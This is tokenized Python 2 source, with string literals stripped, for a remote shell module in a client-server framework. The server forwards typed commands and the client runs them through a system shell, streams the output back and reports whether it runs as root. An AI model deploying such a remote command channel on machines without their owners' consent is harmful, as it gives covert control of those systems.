<s> import module <EOL> import re <EOL> import os <EOL> import select <EOL> import subprocess as sp <EOL> MODNAME = '<STR_LIT>' <EOL> POSH_PROMPT = '<STR_LIT>' <EOL> USAGE = """<STR_LIT>""" <EOL> @ module . server_handler ( MODNAME ) <EOL> def server ( server , argv ) : <EOL> if len ( argv ) > <NUM_LIT:1> : <EOL> print USAGE <EOL> return <EOL> prompt = server . conn . exchange ( '<STR_LIT>' ) <EOL> while True : <EOL> try : <EOL> inp = raw_input ( POSH_PROMPT + prompt ) . strip ( ) <EOL> except KeyboardInterrupt : <EOL> print <EOL> continue <EOL> except EOFError : <EOL> print <EOL> break <EOL> if inp == '<STR_LIT>' : <EOL> continue <EOL> elif inp == '<STR_LIT>' : <EOL> break <EOL> elif inp . split ( ) [ <NUM_LIT:0> ] in module . server_commands . keys ( ) : <EOL> print """<STR_LIT>""" , <EOL> if raw_input ( ) . lower ( ) [ <NUM_LIT:0> ] != '<STR_LIT:y>' : <EOL> continue <EOL> server . conn . send ( '<STR_LIT>' . format ( inp ) ) <EOL> try : <EOL> while True : <EOL> rec = server . conn . recv ( ) <EOL> if rec == '<STR_LIT>' : <EOL> break <EOL> else : <EOL> print rec , <EOL> except KeyboardInterrupt : <EOL> server . conn . send ( '<STR_LIT>' ) <EOL> while server . conn . recv ( ) != '<STR_LIT>' : <EOL> pass <EOL> print <EOL> continue <EOL> @ module . client_handler ( MODNAME ) <EOL> def client ( client , inp ) : <EOL> """<STR_LIT>""" <EOL> inp = inp [ <NUM_LIT:6> : ] <EOL> _inp = inp . split ( ) <EOL> if _inp [ <NUM_LIT:0> ] == '<STR_LIT>' : <EOL> if len ( _inp ) == <NUM_LIT:1> : <EOL> os . chdir ( os . path . expanduser ( '<STR_LIT>' ) ) <EOL> else : <EOL> try : <EOL> os . chdir ( os . path . expanduser ( _inp [ <NUM_LIT:1> ] ) ) <EOL> except OSError as e : <EOL> client . s . send ( '<STR_LIT>' . format ( e . strerror ) ) <EOL> shelldone ( client ) <EOL> return <EOL> proc = sp . Popen ( inp , stdout = sp . PIPE , stderr = sp . STDOUT , shell = True ) <EOL> while True : <EOL> readable = select . select ( [ proc . stdout , client . s . s ] , [ ] , [ ] , <NUM_LIT:30> ) [ <NUM_LIT:0> ] <EOL> for fd in readable : <EOL> if fd == proc . stdout : <EOL> output = proc . stdout . readline ( ) <EOL> if output : <EOL> client . s . send ( output ) <EOL> else : <EOL> shelldone ( client ) <EOL> return <EOL> elif fd == client . s . s : <EOL> sig = client . s . recv ( ) <EOL> if sig == '<STR_LIT>' : <EOL> proc . terminate ( ) <EOL> shelldone ( client ) <EOL> return <EOL> @ module . client_handler ( '<STR_LIT>' ) <EOL> def get_prompt ( client , argv ) : <EOL> """<STR_LIT>""" <EOL> user = client . cmd_exec ( '<STR_LIT>' ) . strip ( ) <EOL> hn = client . cmd_exec ( '<STR_LIT>' ) . strip ( ) <EOL> end = '<STR_LIT:#>' if user == '<STR_LIT:root>' else '<STR_LIT:$>' <EOL> client . s . send ( '<STR_LIT>' . format ( user , hn , end ) ) <EOL> def shelldone ( client ) : <EOL> client . s . send ( '<STR_LIT>' ) </s>
